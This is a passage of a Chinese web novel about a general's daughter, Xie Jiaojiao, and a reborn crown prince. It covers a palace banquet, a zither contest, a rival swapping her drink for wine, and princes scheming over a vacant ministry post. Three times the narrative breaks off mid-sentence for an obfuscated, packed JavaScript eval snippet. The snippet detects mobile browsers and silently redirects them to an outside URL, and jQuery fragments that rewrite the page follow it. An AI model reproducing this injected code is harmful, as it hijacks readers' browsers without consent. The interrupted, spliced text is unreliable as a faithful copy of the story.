几位大臣面面相觑,东侧锦席间的贵女们也捏紧了帕子,纷纷隔着帘子去瞧高位上的太子。
谢皎皎也不例外。
织锦垂珠纱帘由大小不一的珍珠、玉石、珊瑚等相间串成,几近透明的鲛绡点缀其中,如薄雾轻屏般分开外男,隔帘隐约可见那人颀长的身影。
太后轻笑:“我看皎皎就不错,容貌家世品性,样样上乘,哀家打小看着这丫头长大,小时候同瀛儿也亲厚。”
谢贵妃附和:“臣妾也觉着是,皎皎打小便喜欢同太子在一处……”
隔着珠帘,瞧不清对方神色,谢皎皎心里忐忑。
太子哥哥,会……不喜吗?
皇后轻笑:“是么,臣妾倒觉得乔家的嫡女不错,才学品性都是一等一的,模样很是不错,性子也是稳重。”
乔锦心和母亲对视一眼,心下都稍安,瞥过谢皎皎时,两人目光交汇,她扬起下巴。
宽大的衣袖下,谢皎皎攥紧了手里的玉佩。
很快,谢贵妃放下酒杯,看过去:“皇后娘娘的意思是,臣妾的侄女不够稳重温婉?”
当年边疆战乱,谢家举家护国,谢老夫人要看顾一大家子孙辈,谢母担心谢老夫人顾不过来,生怕襁褓中的女儿出什么差错,特进宫求谢贵妃太后照看。
太后是谢母的姨母,谢贵妃是谢家女,两人看顾起来自然用心,况且谢贵妃虽一直盛宠不断,但至今没有子嗣,俨然是将谢皎皎当作亲生女儿待的。
谢皎皎千娇万宠的长大,又是将门之女,不比其他贵女守规矩,但怎么也是自幼受太后教导,皇后这么说,简直就是明晃晃的打太后的脸。
见太后面色不虞,皇后知自己失言,脸色僵了僵:“本宫是说乔家丫头比皎皎年长一岁,性子自然会沉稳些……”
皇后、贵妃意见相左,席间大臣们心中亦各有思量。
见嘉德帝蹙眉,一直未开口的戚贵妃翘唇提议:“两位姑娘论出身论才学自都是一等一的,恰逢今日太子凯旋,不若让两位姑娘献艺切磋一番,同为太子殿下庆贺。”
切磋是假,搅浑这池水才是真。
谢贵妃望向她,不知她葫芦里卖的什么药,柳眉轻敛。
戚贵妃却是朝她笑得意味深长。
没人注意,一个小太监悄无声息的来到李来宝身侧,朝他轻轻点了下头。
李来宝会意,弯腰在萧北瀛耳边低声道:“殿下,都办妥了。”
萧北瀛微微颔首,摩挲着拇指上的玉扳指,面无波澜。
论才艺,乔家女的琴棋书画冠绝京城,与出身将门的谢家女有云泥之别,输赢已摆在了明面上。
皇后虽也疑戚贵妃的好心,却仍顺势道:“戚贵妃所言甚是有理,两个丫头才学过人,不若都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587430|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
献艺一番。”
让谢皎皎输得彻底,才好堵住太后和谢贵妃的嘴,况且她属意乔锦心,太子心知肚明,也定然不会忤逆她。
太后欲出声阻拦,却听嘉德帝问:“太子,你意下如何?”
萧北瀛起身拱手行礼:“儿臣无异议。”
意料之中的答案,谢皎皎忍不住垂下眼。
“不过……”
萧北瀛顿了一下,谢皎皎的心也跟着提起来。
“不过献什么艺,就由儿臣来定吧。”
他转了转拇指上的玉扳指,抬眸看向不远处的皇后,轻笑道:“切磋琴艺如何?听闻乔姑娘的琴艺极为出众。”
这是明晃晃的偏袒了。
太后、谢贵妃还有谢家众人都面色一沉。
皇后很是满意,笑道:“为你庆贺,自是由你来定最好不过。”
乔锦心也十分意外,喜色难掩,席中贵女们纷纷投来羡慕的目光,她看向谢皎皎,见她面色不似先前红润,心里更是畅快。
母亲说得果然没错,皇后娘娘属意她,太子殿下对谢皎皎也无意,都是谢皎皎纠缠不休。
谢皎皎心里闷得喘不过气来。
他只记得乔锦心最擅琴,却没想过她最不擅琴。
徐思莞一时不知从何安慰,低声给她支招:“要不我替你去?就说你伤了手,今日不便弹琴。”
谢皎皎默了片刻,摇头:“无碍。”
既然太子哥哥说比琴,那便合他的意。
少顷,几位宫女上前撤去乔锦心和谢皎皎面前的糕点吃食,摆上古琴。
乔锦心抬眸看向谢皎皎,珠翠轻晃,她轻抚着琴弦,嘴角噙着得体温婉的笑意,语气恭谨,叫人挑不出错处。
“谢家妹妹先请吧,我久习京中旧曲,调子怕是拘束寻常……”
“妹妹出身将门,琴声也是出了名的活泼洒脱,姐姐正想向妹妹讨教。”
谢皎皎自然听得出她的弦外之音。
她抿了下唇,无意再忍,抬眼。
“姐姐明知我才疏学浅,技不如人,却又偏绕弯子说要向我讨教……”
“想让我先弹露拙,衬得姐姐珠玉在后,直说便是,说什么偷习不偷习。”
她本就不是任人搓扁揉圆的软性子,更学不来京中贵女那套虚与委蛇的规矩,乔锦心既有心叫她不爽快,那便都别爽快了。
不等谢家人请罪,谢贵妃便先出声轻斥了,只是语气却不见责怪。
“皎皎,姨母往日如何教的你规矩,皇恩在前,怎可无礼?”
谢皎皎当即出席下跪,低眉顺目道:“是臣女一时口无遮拦,忘了娘娘的教导。”
“起来吧。”太后嗔怪的摆摆手,“既知错了,便罚……今日席上撤了你最爱吃的糖蒸酥酪罢。”
太后话说到这个份上,众人哪里还看不出来两位贵人是有意偏袒。
嘉德帝忍不住清咳一声,太后像是才想起来,望过去。
“皇帝意下如何?”
嘉德帝无奈,只好顺着太后的话,轻咳一声:“还有桂花乳糕,也一并撤了!”
众人:“……”
谢皎皎弯起眼,迫不及待地垂首福礼:“是!臣女领罚,谢圣上开恩!”
此事就这么轻描淡写的揭过了。
谢皎皎出身将门,又深受贵人们宠爱,性子本就直率坦荡,京中早有耳闻。
见她这般直言不讳,殿中众人也不觉有异,反倒因她方才这番话,看向乔锦心的目光里,多了几分揣测。
乔锦心气得胸口怒火翻涌,险些压不住神色,绫袖里的手悄然攥紧,指节泛白。
乔母悄然按住她的手使了个眼色,提醒她在御前不能失礼。
乔锦心暗吸一口气,正欲落泪辩驳,就被谢皎皎轻飘飘的截断了。
“横竖皎皎琴艺不精,比不得姐姐惊才绝绝,便也不推拒了,就弹一首塞外之曲,贺我军大胜。”
她弯唇,笑眼盈盈:“只是……学就不必了,只怕粗粝聒噪,入不得姐姐的耳。”
4. 醉酒
席间曾同乔锦心不睦的贵女们都捂着帕子轻笑。
谢府一众人都面露尴尬,却也不曾真的有谁出声责备,反倒乔父乔母被当众下了面子,憋了一肚子气。
乔锦心更是如鲠在喉,望向谢皎皎的目光恨不得淬上毒。
萧北元同谢家兄弟等席位相邻,忍不住道:“这谢三妹妹真是有趣,还是同小时候一样!”
谢家两兄弟讪笑,忍不住瞥向太子。
所幸太子殿下神色无异。
隔着珠帘,萧北瀛不动声色的盯着小丫头的方向,薄唇轻扬。
伶牙俐齿,恃宠而骄……
她阖该如此。
太后和谢贵妃对了个眼神,也皆是无奈,唯有皇后沉下了脸。
纤纤玉手抚上琴,琴声渐起,起初如珠落玉盘,轻重缓急参差不一,随后她指尖倏然用力,弦音骤然沉雄铿锵,如金戈铁马踏风而来,气势磅礴。
冷冷琴声在殿中萦绕,由羌笛凄凉的呜咽悲鸣之音辗转为击鼓摇旗的激昂振奋,虽无京中名曲的婉转柔媚,却自有一股震撼人心之气,听得众人屏息。
顷刻,雨过天霁,琴声渐缓,似是玉盘中盛满了珠子,摇晃时发出的轻响,更像是大军凯旋,将士归朝时,整齐有序的浩荡步伐。
一曲《破阵归》气势恢宏,殿中静了半晌,无人出声。
“好!”嘉德帝听得畅意淋漓,拍案叫好,脸上笑纹耸动,“朕已许久未曾听到这样气贯山河的曲子了,不愧是将门之女,甚好甚好!”
大臣们也跟着拍手称绝。
嘉德帝看向席中的谢父,打趣道:“谢震山啊谢震山,你谢家还真是虎父无犬女!”
谢父心下松了口气,行礼恭敬道:“陛下谬赞,小女自幼琴艺不精,让陛下见笑了。”
嘉德帝摆摆手。
乔锦心恨得几欲咬碎一口银牙。
凭什么?!
凭什么她一出现就叫她作那衬牡丹的弱柳黯然失色!
凭什么从小到大她什么都要同她争!
“心儿?心儿?!”
乔母扯了扯乔锦心的衣袖,低声叫道:“发什么痴,皇后娘娘叫你了!”
乔锦心回过神,仓促欠身道:“臣女献丑了。”
她有些心绪不宁的触上琴弦,指尖轻挑,竟险些弹错了琴弦,她努力静下心来,娴熟的拨动,琴音清越婉转,典雅雍容。
众人倾耳侧听,皆欲沉醉于琴声的幽深意境,皇后也面色稍霁。
高潮处,指尖忽的传来细密的针扎似的痒意,似有万虫啃食,乔锦心有些心神不宁,但大殿之上,不容她有差错,她只能咬牙强忍着弹下去。
却不想一声铮然脆响,冷弦忽崩,刺耳突兀的回荡在雕龙画凤的梁柱之上。
指尖的痒意随着余音骤然褪去,恍然是她的错觉,乔锦心错愕不已,连忙下跪:“臣女手拙,有扰圣安,伏乞陛下恕罪!”
嘉德帝虽不尽兴,却没有多责罚,淡淡扫了眼皇后,才开口道:“无妨,弦断想是天意如此,便到此为止吧。”
乔父乔母悬心稍落,皇后暗暗攥紧了帕子。
乔锦心起身冷不丁对上皇后的视线,险些一个踉跄,她白着脸落座。
徐思菀见她那副惊魂未定的模样,抿唇一笑,和谢皎皎耳语:“这乔二姑娘今日也是运拙……”
谢皎皎心里很是畅快,轻哼了一声:“定是老天爷瞧不下去了!”
转念一想,谢皎皎心下又生出几分窃喜。
这算不算是她赢了?
所以……她和太子哥哥还有可能的吧。
见萧北瀛始终未置一词,身侧的萧北祺替他斟了杯酒,似是随意调侃:“三弟先前提比试琴艺,莫不是对乔家姑娘有意?”
萧北瀛听出他的试探,没否认,接过他的酒轻笑。
“皇兄说笑了,婚姻之事,自听父皇母后安排。”
萧北祺摆出了然的神色,却又不解:“既如此,刚刚父皇……三弟怎不替乔姑娘说上两句?”
萧北瀛淡声道:“她既自作聪明,只当作教训了。”
怕萧北祺起疑,他又道:“儿女之情于孤而言不值一提,但若身为太子妃,孤也不喜她惹是生非,平白给孤添乱。”
萧北祺一时哑然。
“三弟说的是……”
歌女们又鱼贯而入,丝竹声悠扬婉转。
宫女端了新的点心上来,萧北瀛眸光稍顿。
他记得谢楚河说过,小丫头最爱吃宫里的糖蒸酥酪。
只是方才被太后以罚为由撤了。
萧北瀛招了招手,身后服侍的李来宝连忙躬身过去。
他低声吩咐:“命御膳房将孤的酥酪送去谢三姑娘那席。”
在太子身边侍奉多年,从未见自家殿下对谁家姑娘这般上心,李来宝顿时明白了主子对谢家姑娘的心意,一刻也不敢耽误。
御膳房做的酥酪向来最合谢皎皎胃口,何况今日见乔锦心吃了瘪,她心情好,更有食欲了,就眼巴巴的看着邻座的徐思莞:“小嫂子……”
被谢皎皎叫得面红耳赤,徐思莞败下阵来:“给你给你!快别叫了……”
小太监躬身行了礼,将糕点奉上:“这是太子殿下命奴才送来的。”
谢皎皎闻言看向太子的席位,惊愕中忍不住心口砰砰,赏了他几颗金豆子:“代、代我谢过殿下!”
小太监退下后,徐思莞也很是意外,迟疑:“太子殿下怎对你这般关心?”
谢皎皎也很是捉摸不透,只摇头,脸上却是忍不住泛起红晕。
不知想到什么,她倏的抬起眼,攥住徐思菀的衣袖,目光灼灼:“你说,太子哥哥是不是原谅我了?”
徐思菀不忍她失望,顺着她:“许是的。”
谢皎皎顿时展颜。
乔锦心的位置离得不远,尽收眼底,当即便冷下了脸。
她在席上出丑,谢皎皎却得太子殿下的青眼。
教她如何甘心?!
乔锦心抬手朝来贴身婢女,雨儿附身侧听。
“去把谢皎皎的果子露换成酒,仔细着些,莫要引人发觉!”
听闻谢皎皎沾酒就醉,那年十二岁生辰宴上便是误饮了酒才会大放厥词,抱着太子殿下不撒手,当着众人的面丑态百出。
今日若是没有出丑,醉了也会早些离席,总归不在太子眼前。
谢皎皎桌上的果子露饮尽了,身后眼尖的宫女连忙上前新上了一壶。
春芽替她斟上,道:“姑娘还是少饮些好,这果子露虽好喝,到底凉了些。”
谢皎皎扯了扯春芽的衣摆:“已经许久没有这般痛快的喝过了,在家娘都不许我碰凉食,好春芽,快别念叨了……”
春芽无奈。
一杯下肚,入口微涩,喉头回甘,不似先前的果子露清甜,倒却别有一番风味。
这是换果子露了?
谢皎皎没有放在心上,就着吃食随意饮着。
片刻脸颊乃至全身都有些发烫,脑袋昏沉,手下一抖,银箸掉落在地上,身子也有些立不稳,好在春芽及时扶住她。
眼前一阵恍惚,谢皎皎倚在春芽身上,皱眉:“春芽,你晃什么……”
宫宴之上不得失态,春芽赶紧把她扶正,有些着急:“姑娘,你这是怎么了?”
徐思菀闻声看去,看见谢皎皎绯红的面颊,心里登时有了猜测,唤侍女拿了她的杯盏来,抿了口。
哪里是什么果子露?!分明是果子酒!
知晓谢皎皎碰不得酒,生怕惹出什么乱子来,徐思莞连忙吩咐春芽和自己的婢女:“快带你家姑娘回马车,她这是饮了酒,今日宫宴人多,万不可失态!”
两家主子亲如姐妹,春芽不疑有他,忙和四喜馋着谢皎皎起身往外走。
乔锦心瞧着勾了勾唇。
殿下对谢家嫡女有意,李来宝人精似的,时时刻刻注意着谢皎皎的动静,见人出去了立马吩咐了人前去打听。
今日不少朝臣前来敬酒,萧北瀛同他们周旋着,不时抽眼看看小丫头。
打发走了人,一抬眼,席位上空空如也,连个人影都瞧不见,顿时皱起了眉:“来宝!”
刚刚遣出去的人已经打听清楚了,说
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587431|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是谢家姑娘不慎饮了酒,故提前离席。
李来宝将这话重复一遍,眼见的太子爷的脸色沉了下来。
他记得,自那件事后,她是滴酒不沾的。
“可知她去了何处?”
“奴才不知……”李来宝额头起了薄汗,“应当是回马车了,谢姑娘刚走不久,想是还没有出乾安宫门……”
眼看着宴席将散,萧北瀛以身子不适提前离了席。
李来宝在前面照灯,萧北瀛匆匆出了乾安宫。
沿着游廊寻了一道,半分人影都没有见着,派去宫外寻马车的人也回来答复说谢家的两辆马车都还在,并未看见人。
人在宫里倒是不怕出什么意外,偏生小丫头喝醉了,萧北瀛到底有些不放心。
见殿下脸色愈沉,李来宝猜测:“会不会去了谢贵妃那里……”
脑中一个念头闪过,萧北瀛当即改了道。
“回东宫。”
李来宝反应不及,急急跟上照灯。
快步回了东宫,绕过游廊,行至一半,不远处看见三个人影。
李来宝提灯仔细看了看,一喜:“是谢姑娘!”
兜兜转转的寻她,她竟果真在他这。
萧北瀛失笑,心下也松了口气。
他大步流星的往里走,李来宝提着灯,小跑追上。
谢皎皎抱着栏杆,无论春芽、四喜怎么劝,都不肯松手离开。
时辰不早了,宫宴也该散了,再不回去碰上太子殿下,或是被旁人瞧见,可就麻烦了。
春芽心急:“姑娘,咱们得赶紧回去了,夫人找不着您会担心的……”
谢皎皎望着不远处的只有寥寥灯火的景毓殿,有些委屈:“太子哥哥怎么还不回来?”
四喜忙道:“回来了的!您忘了?今日您还去城楼上迎太子殿下回朝的!”
谢皎皎脑袋晕乎乎的,听不进话,只知道殿里没有她的太子哥哥。
萧北瀛走近,便见小姑娘瘪着嘴:“太子哥哥为何不见我……”
心口一疼,萧北瀛走上前,春芽四喜见了人忙行礼。
他淡声:“都退下。”
春芽有些不放心,还是被四喜和李来宝拉着退开了。
头顶的月光皎洁,细细碎碎的落在她身上,一袭红装愈发衬得人雪肤花貌,小姑娘抱着栏杆,呆呆的看着他。
萧北瀛轻声唤她:“皎皎……”
谢皎皎没有作声,眼眶里霎的蓄满泪,一下子松开栏杆摇摇晃晃的走到他身前,喃喃:“太子哥哥回来了……”
萧北瀛刚靠近她,谢皎皎就警惕的退了一步,泪眼迷蒙。
“我不抱你了,太子哥哥别走……”
萧北瀛一僵,明白过来心口像被猫抓了似的,密密麻麻的疼。
她十二岁生辰误饮了酒,跌跌撞撞的扑进他怀里说要嫁给他,怎么都不放手。
因她是谢贵妃的侄女,更是谢家人,谢乔两家因政见不合,不睦多年,皇后有意扶持乔家,自然不愿她做儿媳。
皇后自小因他是储君对他百般严厉,又因萧北祺的腿对他心存芥蒂,上辈子萧北瀛一直想和她多几分寻常母子的亲近,皇后指明属意乔家女,萧北瀛为了讨她欢心,自然言听计从。
加上乔谢两家一文一武,彼时西骊还未袒露狼子野心,科举改革后,乔家借寒门学子的东风一路水涨船高,谢家在朝堂上确实逊色几分。
娶乔锦心,拉拢乔家,更是成了上上策。
谢皎皎后来曾多次找他,他都闭门不见,恰逢边疆战事,他一去就近三年。
她竟是这样想的吗?
竟一直以为他去边疆全然是为了躲她……
一把将人扯进怀里,谢皎皎挣扎着要推开他,萧北瀛抱紧她,哑声安抚着:“孤不走,皎皎莫怕……”
许是听见“不走”二字,谢皎皎渐渐安静下来,倚在萧北瀛怀里没了动静。
萧北瀛稍稍将人拉开些,小姑娘已然蹙眉睡着了,睫毛上还挂着泪。
他爱怜的重新将人拥进怀里,阖上眸,语中尽是沙哑:“是孤对不住你……”
5. 留宿
鎏金缠枝莲纹香炉上方浮香袅袅,谢皎皎睁开眼,明黄色的帷幔,薄如蝉翼,淡淡的苦松香钻进鼻息,无端安心。
谢皎皎脑袋昏沉,隐隐作痛,她按着太阳穴坐起身,素手拨开月绡纱,帐沿垂下的金色璎珞轻晃,屋内奢华又陌生的布置尽收眼底。
漆金象牙雕点翠花鸟纹曲屏正对床塌,立在不远处,她怔了怔,思绪骤然清醒。
这屏风她知道,某岁太子千秋节时,姨母谢贵妃重金着人打造的,百名匠人日夜赶工,描金绕银,翠鸟羽毛栩栩如生,世上只此一座,比皇后送得还要贵重。
这是……太子哥哥的寝殿?!难怪这香如此熟悉!
谢皎皎惊得险些从床榻上滚下来,她赤脚下了榻,试探的唤了声春芽。
“姑娘,你可算是醒了!”
春芽一直侯在门外,听见动静忙推门进去,两步并一步的走到谢皎皎跟前,想说些什么,看见身后捧着热水、桂花露、揩齿粉等物什鱼贯而入的宫女,又生生把话咽了下去。
昨日向来不想与她家姑娘染上瓜葛的太子殿下,居然当着东宫众人的面,毫不避讳的把她家姑娘抱进自己的寝殿,足足待到三更才离开。
未出阁的女子,清誉何其重要,姑娘再喜欢殿下,也不该留在东宫过夜……这事要是传了出去,或是被国公爷、夫人知晓……春芽想都不敢想!
可东宫毕竟是太子的地盘,四处都是亲信眼线,春芽不敢多言,只能急在心里。
谢皎皎也惶恐得紧,待宫女们替她收拾妥当后,她试探道:“殿下……可在宫中?”
“殿下去上朝了,还未归。”里面主事的大宫女上前一步,垂首恭敬道,“不过殿下吩咐,让姑娘醒了先行用膳,待他下朝亲自送您去丹仪宫。”
丹仪宫是谢贵妃的住所,谢皎皎从小在宫里长大,谢贵妃和太后宫里都有她的寝殿,以便她随时在宫中留宿。
太子哥哥这是……
谢皎皎受宠若惊。
她犹豫了下,还是点点头:“那便听殿下的罢。”
李来宝在外头听得一清二楚,登时吩咐人去小厨房备菜,笑眯眯的同谢皎皎行完礼后,亲自引着她去嘉珍殿用膳。
谢皎皎对李来宝自然不陌生,他从小伴太子长大,是东宫内侍总管,更是太子亲信,同他打探消息再合适不过。
她想了想:“昨日……”
李来宝不待她问完,就人精似的:“姑娘放心,殿下昨日就让奴才去丹仪宫同贵妃娘娘说明了,没有主子的吩咐,给奴才们借一百个熊心豹子胆,也是万不敢嚼舌的。”
太子做事妥当周全,向来最受嘉德帝赞赏。
想到一贯对她疏离冷淡的太子哥哥如今为她处处思虑周到,谢皎皎心里便像灌了蜜似的,嘴角忍不住上扬,不再多问。
一整夜提心吊胆的春芽也跟着松了口气。
东宫有自己的小厨房,御厨来自各方,皆有着过人的看家本事。
早膳流水似的传上来,金丝燕窝羹、玫瑰糯米酿、琥珀桂花酥……一道接着一道,春芽布菜时眼花缭乱,谢皎皎也吃得应接不暇,主仆二人各有不易。
谢皎皎饶是过惯了锦衣玉食的,也忍不住出声:“公公,这些未免太多了……”
“姑娘不必忧心铺张,往日宫里多下的饭菜都会赐给底下人。”
李来宝:“不是奴才自夸,殿下宫里的小厨房就是比起御膳房,也是不见得逊色的,奴才们能时不时沾上贵人的光,打打牙祭,求之不得呢!”
谢皎皎这才不再多言:“那便有劳公公了。”
眼看着黄花梨螭龙纹八仙桌就要摆满了,李来宝才抬手让小厨房停了膳,笑道:“殿下恐姑娘不合心意,便让小厨房多做了些,姑娘莫要见怪。”
“替我……多谢殿下。”
谢皎皎心口微动,惊喜之余又有些狐疑。
太子哥哥这次归来,对她未免太好了些。
*
宣政殿。
“退朝——”
张有福尖细而有力的声音响彻大殿,众人躬身行礼,高声呼颂:“吾皇万岁万岁万万岁!”
朱红檐角下歇脚的灰鸽被掀翻屋顶的动静惊得扑棱棱飞去,羽尖不慎掠过檐下挂的细枝莲纹铜铃,铃声清脆。
文武百官按品阶退殿,太子萧北瀛着绯色蟒袍先行,其余皇子紧随其后,而后才是各袍色官员,朝靴踩在光可鉴人的乌金砖上发出轻响,与铜漏细微绵密的丁丁声相和。
殿外数十层汉白玉阶上,走在前面的皇子们远看是聚在一道走,实则泾渭分明。
二皇子萧北祺被人推着和六皇子萧北元一左一右于萧北瀛身侧,四皇子萧北恒、五皇子萧北山并肩而行,大皇子孤身一人。
“太子皇兄,这些年你在边疆,父皇嘴上不说,心里可是日日替你忧心,如今你立功回朝辅政,我瞧父皇今日上朝都比往日气色好!”
说话的是六皇子,萧北元年纪最小,天资平平,胸无大志,平日里就喜赏花斗鸟,是一众皇子里最无心计,也是最耿直仁义的,儿时受了萧北瀛的恩,自此便同他最亲近。
萧北祺随口淡淡道:“三弟一贯受父皇看重,此番又平定了边疆,父皇高兴也是情理之中。”
四皇子、五皇子皆是戚贵妃之子,二人对视一眼,双双在袖中攥紧了拳头。
五皇子萧北山是个沉不住气的,忍不住开口讽道:“谢家乃将门之家,虎将无数,谢家军更是个个骁勇善战,此番怕是小六前去,都能大获全胜,何足自喜。”
萧北元不是软柿子,又有萧北瀛撑腰,嗤笑道:“既如此,当初远征西骊,五皇兄为何不主动请缨?有谢家相助,何惧之有?”
当初远征,众人都避之不及,唯太子一人请缨。
说到痛处,萧北山无言以对,脸色一阵青一阵白,甩袖离开。
萧北恒看了萧北瀛一眼,到底有所顾忌,只对着他身旁二人,冷哼着兀自离开:“鹰犬尔!”
萧北元翻了个白眼无甚在乎,萧北祺脸色冷一瞬,被萧北瀛尽收眼底。
他目光淡淡掠过萧北祺,落在萧北元身上,轻笑道:“行了,争这些口舌做什么,前些日子无意得了几株姚黄,改日叫人送到你宫里。”
萧北元闻言欣喜:“还是皇兄记挂我!那弟弟就在此谢过皇兄了!”
萧北瀛笑着颔首,不经意对上萧北祐的目光。
对方淡笑着冲他点头,面色苍白,又生得一副玉面书生的君子面,温文尔雅,言行有度,看不出半分不臣之心。
他亦点头,很快收回视线,捻了捻大拇指上的玉扳指,若有所思。
“太子殿下!”
踏下最后一步玉阶时,身后肱骨重臣尚书左仆射同平章事左相顾鼎明和几位大臣追上前行礼。
萧北瀛扶起他们:“诸位不必多礼。”
“老臣恭喜殿下,此番凯旋,既得圣心又得民心,真是喜上加喜。”
顾相贺完,又抚须叹道:“想殿下当初兵行险招决意出征,臣还多番阻拦……如今想来,还是殿下深谋远虑,老臣惭愧啊!”
“相爷这是说的哪里话……”
萧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587432|205342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
北瀛宽慰道:“当初孤尚且年幼,相爷忧心孤的安危也是人之常情,何错之有。”
他顿了顿,又看向顾相身旁的几位大臣,由衷道:“……况且,这些年多亏了顾相与诸公为父皇分忧,叫孤远在边疆无后顾之忧。”
见太子如此感念他们,几位重臣皆是心口温热。
“殿下言重了,都是老臣们分内之事。”
顾相扫了眼萧北瀛身旁的两位皇子,犹豫了下,还是低声道:“户部侍郎何丰丧母,昨日呈了户部丧牒,丁忧的折子今日便会递给陛下,他这一走,侍郎之位便空缺了下来,不知……”
剩下的话不便多言,萧北瀛拂过腰间的玉佩,淡声道:“孤知晓了,有劳左相费心。”
顾相点点头,还想说些什么,被萧北祺打断了。
“左右这丁忧的折子还未到父皇那儿,倒也算不得急事,只是……”
他笑了笑,对着顾相露出难色:“只是母后一早便等着三弟请安了,这会子怕是该着急了,顾相你说这……”
“你……”
户部侍郎的位子一空缺,乔党、太后、戚贵妃……不知道多少双眼睛盯着,如何能不急。
顾相虽是太子党,却一向防备和不喜二皇子,上一世萧北瀛一直从中调和,却不想萧北祺得势当天,就以顾府亲眷要挟,逼得身为三朝老臣的顾相在大殿之上撞柱明志,血溅三尺而亡。
如今他重来一遭,自然不会再眼盲心瞎的袒护萧北祺,只是眼下形势不明,前世之事又尚未厘清,撕破脸皮反倒不便宜查探。
“相爷。”萧北瀛轻摇了下头。
“此处人多眼杂,也不便议事,诸位早些回吧,此事容孤自有定夺。”
太子话已至此,众人只好拱手拜别。
顾相看了眼轮椅上似笑非笑的萧北祺,冷哼一声,拂袖而去。
萧北元的生母淑妃原是是东歧重臣之女,后来家族落没,恩宠也就跟着少了,不过淑妃性子淡泊没什么野心,这些年安分守己,只盼着能儿子平安长大,得一块好封地,无心卷入皇权纷争,和各宫走的都不近。
连带着萧北元也是如此,得知他们要去凤仪宫,寻了个由头便走了。
待人散尽,萧北祺的近侍有眼色的要来推他,萧北祺却摆手:“由三弟来便是。”
近侍知晓他们兄弟二人亲厚,顺从的退到了一旁。
自打萧北祺的腿废了以后,没有外人时多是萧北瀛来推他。
这回萧北瀛也没推拒,推着萧北祺出了宣和门。
甬道蜿蜒幽深,朱红宫墙高耸威严,两侧楼台殿宇巍峨错落,飞檐斗拱,琉璃黄瓦在阳光下金光熠熠。
萧北祺像是不经意问:“这户部侍郎的位子空了,三弟心中可有人选?”
萧北瀛步子稍顿。
“尚未,皇兄可是有人举荐?”
萧北祺似是自嘲:“我能举荐谁?一个残废皇子又有哪个朝臣愿意拉拢亲近。”
晴空碧日,遥遥传来清越悠长的雁鸣,兄弟二人一道循声望去,成群的鸿雁掠过宫阙之上。
“想起儿时总爱和皇兄比试射雁,直到皇兄伤了腿……”
萧北瀛慢慢停了下来,垂下眼:”一晃这么些年,竟从未问过,皇兄可有后悔当年救了孤?”
萧北祺偏过头,兄弟二人目光交汇。
静了一瞬,萧北祺先笑起来:“三弟这是说的哪里话?自是不悔的,我不过随口发句牢骚,三弟莫要多想。”
是吗?
萧北瀛也跟着勾起唇:“自然,孤亦是随口一问。”
6. 寻猫
东宫统共三殿两宫,内有亭台水榭假山等无数,占地极大。
用过膳,李来宝引着谢皎皎去西池边消食,方绕过抄手游廊,底下的小太监弓着身子匆匆来报。
“云安公主说丢了猫,派了侍女来寻,被奴才们回了,不想公主这会亲自来了,奴才们拦不住……”
到底外臣之女留宿东宫于礼不合,以防有不长眼的漏了消息,萧北瀛一早就吩咐了下去,今日闭门谢客,谁都不准进。
李来宝倒是不慌张,对谢皎皎弯了弯腰:“姑娘无须忧心,便由底下人带姑娘四处转转,奴才去去就来。”
云安公主生母身份低微,生产时早逝,自小便养在了皇后膝下,虽不得圣宠,却和皇后亲厚,旁人也不敢小瞧了去。
究竟是来亲自寻猫,还是皇后察觉到了什么,叫她来探查。
若是她被人发现了,太子哥哥定然是不好交代。
可若,不让云安进来亲自看过,皇后怕是更会心疑。
她将这番思虑说出,李来宝也犯了难:“这……”
谢皎皎想了想,问:“东宫可有什么禁地,旁人无令不得进的?”
李来宝仔细想过一番,犹豫着:“有倒是有,也算不得禁地,只是……是殿下的书房。”
太子书房,不知有多少国事机密,纵是李来宝敢担责做主叫她进去躲躲,谢皎皎自己也是不敢的。
还有什么办法呢……
谢皎皎黛眉轻蹙,托着下巴随意走着,目光流转间,无意掠过李来宝及他身后的一众内侍……莲步一顿,计上心头。
“敢问公公,可还有多的内侍衣衫?”
见李来宝不解,谢皎皎狡黠道:“若我扮作内侍,混进公公的人里,云安公主就是进来,也定然认不出我。”
李来宝恍然大悟,忙点头:“奴才这就叫人取两套合身的衣衫来!还请姑娘移步,随奴才来。”
不多时,谢皎皎和春芽便都换好了衣裳,两人瞧着对方的装扮,皆忍不住扑哧笑出了声。
正要离开,海棠纹的窗棂外传来一阵悉簌。
一团白影跃上窗槛。
“喵——喵——”
竟是只猫。
莫非就是云安公主那只?
谢皎皎自幼忌猫,稍近了些就频频发嚏,她往后退了退:“春芽,快将它捉了抱去给李公公,问问是不是公主那只。”
春芽依言去捉猫,却不想这猫凶的很,也不畏人,喵叫个不停,被捉住当即就亮出利齿。
“当心!”
